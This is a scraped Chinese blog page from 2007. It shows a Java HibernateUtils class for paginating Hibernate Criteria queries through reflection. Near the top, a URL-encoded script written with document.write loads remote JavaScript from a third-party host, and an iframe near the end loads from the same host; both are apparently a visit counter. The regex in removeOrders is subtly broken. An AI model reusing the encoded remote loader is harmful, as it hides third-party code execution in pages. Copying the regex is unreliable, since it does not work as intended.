Hibernat

最新推荐文章于 2024-09-14 18:52:56 发布
最新推荐文章于 2024-09-14 18:52:56 发布
阅读量455 收藏
点赞数
文章标签： import tapestry acegi javascript spring reference
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/cyu424242/article/details/1797043
版权
 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
Hibernat


li>
j2ee

ComponentReference
javaeye tapestry
javatang（ajax等）
Struts-menu
struts标记库
Tapestry中文文档
Tapestry中文文档
老高
J2ME

java application

JViews Telecom Graphic Objects
JavaScript

google个性主页的拖拽效果的js
JavaScript高级教程
Java基础

java在线API
中文版jdk API
Liferay

Liferay Portal 系列文章
Liferay个人收集
Liferay英文站点
liferay论坛
Spring

Acegi 扩展开发
acegi官方网站
Acegi文档翻译与笔记
AppFuse
Security Acegi
springside 中文
Spring中文网站
Spring官方网站
Spring开发参考手册
Spring聚集
UML

jude
WebServices

AppFuseXFire
Java Technology and Web Services
Java Technology and Web Services - Documentation
Web Services Code Samples
电信

ctiforum
Essential SNMP, 2nd Edition
openvoip
中国网管联盟
通信专业门户
通信技术
工作流

JBoss jBPM 3.1
osworkflow
开源社区

cas
Cindy
数据库

Oracle? Database PL/SQL User's Guide and Reference
PL/SQL User's Guide and Reference
xsb Oracle Blog
甲骨文学（ｏｒａｃｌｅ）
杂记

存档

2007年09月(7)
2007年08月(20)
2007年07月(5)
2007年06月(16)
2007年05月(12)
2007年04月(32)
2007年03月(8)
2007年02月(4)
2007年01月(9)
2006年12月(9)
2006年11月(19)
2006年10月(20)
2006年09月(3)
2006年08月(4)
2006年07月(10)
2006年06月(2)
2006年05月(3)
2006年03月(7)
2006年02月(8)
2006年01月(3)
2004年10月(1)












上一篇: Java2Html
 | 
下一篇: Hibernate---Criteria


function StorePage(){d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(keyit=window.open('http://www.365key.com/storeit.aspx?t='+escape(d.title)+'&u='+escape(d.location.href)+'&c='+escape(t),'keyit','scrollbars=no,width=475,height=575,left=75,top=20,status=no,resizable=yes'));keyit.focus();}


 Hibernate---Criteria



package
 com.javaeye.common.hibernate;
import
 java.lang.reflect.Field;
import
 java.sql.SQLException;
import
 java.util.ArrayList;
import
 java.util.List;
import
 java.util.regex.Matcher;
import
 java.util.regex.Pattern;
import
 org.apache.commons.lang.StringUtils;
import
 org.apache.commons.logging.Log;
import
 org.apache.commons.logging.LogFactory;
import
 org.hibernate.Criteria;
import
 org.hibernate.HibernateException;
import
 org.hibernate.Session;
import
 org.hibernate.criterion.CriteriaSpecification;
import
 org.hibernate.criterion.DetachedCriteria;
import
 org.hibernate.criterion.Projection;
import
 org.hibernate.criterion.Projections;
import
 org.hibernate.impl.CriteriaImpl;
import
 org.hibernate.impl.CriteriaImpl.OrderEntry;
import
 org.springframework.dao.DataAccessException;
import
 org.springframework.orm.hibernate3.HibernateCallback;
import
 org.springframework.orm.hibernate3.HibernateTemplate;
import
 org.springframework.util.Assert;
import
 com.skyon.framework.dao.PaginationSupport;
public
 
abstract
 
class
 HibernateUtils {
    
private
 
static
 Log logger 
=
 LogFactory.getLog(HibernateUtils.
class
);
    
private
 
static
 String removeSelect(String sql) {
        Assert.notNull(sql, 
"
sql must be specified 
"
);
        
int
 beginPos 
=
 sql.toLowerCase().indexOf(
"
from
"
);
        Assert.isTrue(beginPos 
!=
 
-
1
, 
"
 the sql : 
"
 
+
 sql 
+
 
"
 must has a keyword 'from'
"
);
        
return
 sql.substring(beginPos);
    }
    
private
 
static
 String removeOrders(String sql) {
        Pattern p 
=
 Pattern.compile(
"
order//s*by[//w|//W|//s|//S]*
"
, Pattern.CASE_INSENSITIVE);
        Matcher m 
=
 p.matcher(sql);
        StringBuffer sb 
=
 
new
 StringBuffer();
        
while
 (m.find()) {
            m.appendReplacement(sb, 
""
);
        }
        m.appendTail(sb);
        
return
 sb.toString();
    }
    
public
 
static
 
int
 getTotalCount(HibernateTemplate hibernateTemplate, String queryString, 
boolean
 isNamedQuery,
            String[] paramNames, Object[] paramValues) 
throws
 IllegalArgumentException, DataAccessException {
        
if
 (StringUtils.isBlank(queryString)) {
            
throw
 
new
 IllegalArgumentException(
"
 queryString can't be blank 
"
);
        }
        String countQueryString 
=
 
"
 select count (*) 
"
 
+
 removeSelect(removeOrders(queryString));
        List countList;
        
if
 (isNamedQuery) {
            countList 
=
 hibernateTemplate.findByNamedParam(countQueryString, paramNames, paramValues);
        } 
else
 {
            countList 
=
 hibernateTemplate.find(countQueryString, paramValues);
        }
        
return
 ((Integer) countList.get(
0
)).intValue();
    }
    
public
 
static
 List getPageResult(Criteria criteria, 
int
 offset, 
int
 maxPageItems) 
throws
 HibernateException {
        criteria.setFirstResult(offset);
        criteria.setMaxResults(maxPageItems);
        
return
 criteria.list();
    }
    
public
 
static
 PaginationSupport findByCriteria(HibernateTemplate hibernateTemplate,
            
final
 DetachedCriteria criteria, 
final
 
int
 firstResult, 
final
 
int
 maxResults) 
throws
 DataAccessException {
        
return
 (PaginationSupport) hibernateTemplate.execute(
new
 HibernateCallback() {
            
public
 Object doInHibernate(Session session) 
throws
 HibernateException, SQLException {
                Criteria executableCriteria 
=
 criteria.getExecutableCriteria(session);
                
//
 Get the orginal orderEntries
                OrderEntry[] orderEntries 
=
 HibernateUtils.getOrders(executableCriteria);
                
//
 Remove the orders
                executableCriteria 
=
 HibernateUtils.removeOrders(executableCriteria);
                
//
 get the original projection
                Projection projection 
=
 HibernateUtils.getProjection(executableCriteria);
                
int
 totalCount 
=
 ((Integer) executableCriteria.setProjection(Projections.rowCount()).uniqueResult())
                        .intValue();
                executableCriteria.setProjection(projection);
                
if
 (projection 
==
 
null
) {
                    
//
 Set the ResultTransformer to get the same object
                    
//
 structure with hql
                    executableCriteria.setResultTransformer(CriteriaSpecification.ROOT_ENTITY);
                }
                
//
 Add the orginal orderEntries
                executableCriteria 
=
 HibernateUtils.addOrders(executableCriteria, orderEntries);
                
//
 Now, the Projection and the orderEntries have been resumed
                List items 
=
 HibernateUtils.getPageResult(executableCriteria, firstResult, maxResults);
                
return
 
new
 PaginationSupport(items, totalCount, firstResult, maxResults);
            }
        }, 
true
);
    }
    
public
 
static
 Projection getProjection(Criteria criteria) {
        CriteriaImpl impl 
=
 (CriteriaImpl) criteria;
        
return
 impl.getProjection();
    }
    
public
 
static
 OrderEntry[] getOrders(Criteria criteria) {
        CriteriaImpl impl 
=
 (CriteriaImpl) criteria;
        Field field 
=
 getOrderEntriesField(criteria);
        
try
 {
            
return
 (OrderEntry[]) ((List) field.get(impl)).toArray(
new
 OrderEntry[
0
]);
        } 
catch
 (Exception e) {
            
throw
 
new
 InternalError(
"
 Runtime Exception impossibility can't throw 
"
);
        }
    }
    
public
 
static
 Criteria removeOrders(Criteria criteria) {
        CriteriaImpl impl 
=
 (CriteriaImpl) criteria;
        
try
 {
            Field field 
=
 getOrderEntriesField(criteria);
            field.set(impl, 
new
 ArrayList());
            
return
 impl;
        } 
catch
 (Exception e) {
            
throw
 
new
 InternalError(
"
 Runtime Exception impossibility can't throw 
"
);
        }
    }
    
public
 
static
 Criteria addOrders(Criteria criteria, OrderEntry[] orderEntries) {
        CriteriaImpl impl 
=
 (CriteriaImpl) criteria;
        
try
 {
            Field field 
=
 getOrderEntriesField(criteria);
            
for
 (
int
 i 
=
 
0
; i 
<
 orderEntries.length; i
++
) {
                List innerOrderEntries 
=
 (List) field.get(criteria);
                innerOrderEntries.add(orderEntries[i]);
            }
            
return
 impl;
        } 
catch
 (Exception e) {
            
throw
 
new
 InternalError(
"
 Runtime Exception impossibility can't throw 
"
);
        }
    }
    
private
 
static
 Field getOrderEntriesField(Criteria criteria) {
        Assert.notNull(criteria, 
"
 criteria is requried. 
"
);
        
try
 {
            Field field 
=
 CriteriaImpl.
class
.getDeclaredField(
"
orderEntries
"
);
            field.setAccessible(
true
);
            
return
 field;
        } 
catch
 (Exception e) {
            
throw
 
new
 InternalError();
        }
    }
}
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
cyu424242
关注
Hibernate入门第一讲——Hibernate框架的快速入门
李阿昀的博客
08-04 12万+
Hibernate框架介绍什么是Hibernate我们可以从度娘上摘抄这样有关Hibernate的介绍： Hibernate是一个开放源代码的对象关系映射框架，它对JDBC进行了非常轻量级的对象封装，它将POJO与数据库表建立映射关系，是一个全自动的orm框架，hibernate可以自动生成SQL语句，自动执行，使得Java程序员可以随心所欲的使用对象编程思维来操纵数据库。Hibernate可以
Hibernate入门第三讲——Hibernate的常见配置
热门推荐
李阿昀的博客
08-05 1万+
在《Hibernate快速入门》一文中，我有讲到Hibernate的两个配置文件，今天就来详细地介绍这两个配置文件。Hibernate的配置详解在Hibernate中，我们使用时主要有两种配置文件： 核心配置文件——hibernate.cfg.xml(主要描述Hibernate的相关配置) 映射配置文件——xxx.hbm.xml 核心配置文件Hibernate的核心配置文件，即hibernate.c
Hibernate
Abner's Technology Blog
01-26 3168
Hibernate，是什么】Hibernate 将 Java 类映射到数据库表中，从 Java 数据类型中映射到 SQL 数据类型中，并把开发人员从 95% 的公共数据持续性编程工作中解放出来。Hibernate 是传统 Java 对象和数据库服务器之间的桥梁，用来处理基于 O/R 映射机制和模式的那些对象。 Hibernate，功能】 Hibernate 所支持的数据库】Hibernate 支持几乎所有的主要 RDBMS，如MySQL、Oracle。 Hibernate，支持的技术】XDoclet Spr
hibernate
qq_43638685的博客
09-24 3885
hibernate.cfg.xml <?xml version='1.0' encoding='utf-8'?> <!DOCTYPE hibernate-configuration PUBLIC "-//Hibernate/Hibernate Configuration DTD 3.0//EN" "http://www.hibernate.org/dtd/hibernate-configuration-3.0.dtd"> <hibernate-configura
Hibernate基本使用
qq_45429856的博客
04-13 5813
SpringBoot整合Hibernate
忆晨的博客
03-22 1万+
Hibernate是什么？ Hibernate与MyBatis都是流行的持久层开发框架，只不过Hibernate是全自动ORM框架，不需要关心sql编写。 Hibernate 是一个高性能的对象/关系映射（ORM）持久化存储和查询的服务，不仅负责从Java类到数据库表的映射 （还包括从Java数据类型到SQL数据类型的映射），还提供了面向对象的数据查询检索机制，从而极大地缩短了手动处理SQL和JDBC上的开发时间。 同时，Hibernate还实现了JPA规范，在SpringBoot中，JPA的默认实现就是使
hibernate入门，springboot整合hibernate
沐雨橙风ιε的博客
07-19 4813
Mybatis和Hibernate是我们常用的两大ORM框架，这篇文章主要介绍hibernate的使用，如何通过springboot整合hibernate，实现简单的crud功能。
hibernate 的缓存机制
weixin_59705658的博客
03-30 2132
Hibernate 缓存分为两层：Hibernate 的一级缓存和 Hibernate 二级缓存。 1.Hibernate 一级缓存（Session 的缓存）： （1）Session 实现了第一级 Cache，属于事务级数据缓冲。一旦事务结束，缓存随之失效。一个 Session 的生命周期 对应一个数据库事务或一个程序事务。 （2）Session-Cache 总是被打开并且不能被关闭的。 （3）Session-Cache 保证一个 Session 中两次请求同一个对象时，取得的对象是同一个 Java
hibernate约束
qq_32600929的博客
01-05 2290
hibernate.cfg.xml <!DOCTYPE hibernate-configuration PUBLIC "-//Hibernate/Hibernate Configuration DTD 3.0//EN" "http://www.hibernate.org/dtd/hibernate-configuration-3.0.dtd"> com.mysql.jdbc.Dr
Hibernate升级到5.4.18.final的过程踩过的坑
Harry的博客
01-19 1万+
版本 Library Current Upgraded Hibernate-core 3.6.10.Final 5.4.18.final Hibenrate-valicator 4.2.0.Final 6.1.5.final 1. 抛javax.persistence.TransactionRequiredException异常如果没有事务时 javax.persistence.TransactionRequiredException: Executing
最新版本的Struts2+Spring4+Hibernate4框架整合
10-15
项目原型：Struts2.3.16 + Spring4.1.1 + Hibernate4.3.6 二、 项目目的： 整合使用最新版本的三大框架（即Struts2、Spring4和Hibernate4），搭建项目架构原型。 项目架构原型：Struts2.3.16 + Spring4.1.1 + ...
达梦数据库java驱动包、hibernate方言包
11-15
/*************************************** * 达梦8 JDBC驱动版本说明 /*************************************** ...8. DmDialect-for-hibernate5.3.jar 对应 Jdk1.7及以上, hibernate5.3 -- 5.4 环境
hibernate-jpa-2.1-api-1.0.2.Final-API文档-中文版.zip
06-25
赠送jar包：hibernate-jpa-2.1-api-1.0.2.Final.jar； 赠送原API文档：hibernate-jpa-2.1-api-1.0.2.Final-javadoc.jar； 赠送源代码：hibernate-jpa-2.1-api-1.0.2.Final-sources.jar； 赠送Maven依赖信息文件：...
hibernate-reactive：Hibernate ORM的React式API，支持非阻塞数据库驱动程序以及与数据库交互的React式
02-03
Hibernate Reactive可以在任何普通Java程序中使用，但特别针对和等React式环境中的使用。 当前支持 ， 和 。 要了解更多信息，访问 。 兼容性 Hibernate Reactive已通过以下测试： Java 8 PostgreSQL 13 MySQL...
【JavaScript】LeetCode：707设计链表
最新发布
weixin_45980065的博客
09-14 694
【代码】【JavaScript】LeetCode：707设计链表。
Vue接入高德地图并实现基本的路线规划功能
黄团团的个人博客
09-11 621
找到public目录下的index.html文件，把刚才申请好的2个密钥分别粘贴进去，第一个securityJsCode是填入安全密钥，第二个红框是填入Key。登录高德开放平台，点击我的应用，先添加新应用，然后再添加Key。如图所示填写对应的信息，系统就会自动生成。
vue3中动态引入本地图片的两种方法
haodanzj的博客
09-11 361
动态在本地引入图片
JS的输出语句
J3259392566的博客
09-13 332
js中严格区分大小写。
Hibernate 实战指南
"Hibernate In Action" 《Hibernate In Action》是一本专为深入理解并熟练应用Hibernate框架而编写的书籍。Hibernate是Java开发中的一个流行对象关系映射（ORM）框架，它简化了数据库与应用程序之间的交互，使...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值